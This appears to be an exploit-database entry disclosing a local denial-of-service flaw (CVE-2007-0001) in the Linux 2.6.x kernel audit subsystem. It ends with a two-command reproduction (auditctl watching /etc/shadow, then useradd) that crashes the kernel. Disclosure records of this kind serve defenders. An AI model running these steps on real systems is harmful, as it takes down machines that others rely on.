Linux Kernel 2.6.x - Audit Subsystems Local Denial of Service

Author: Steve Grubb
type: dos
platform: linux
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date_added: 2007-02-27 
date_updated: 2013-11-18 
verified: 1 
codes: CVE-2007-0001;OSVDB-33031 
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source: https://www.securityfocus.com/bid/22737/info

The Linux Kernel is prone to a denial-of-service vulnerability.

A local attacker can exploit this issue to crash the kernel.

Linux kernel versions 2.6.x are vulnerable to this issue.

1. auditctl -w /etc/shadow
2. useradd userb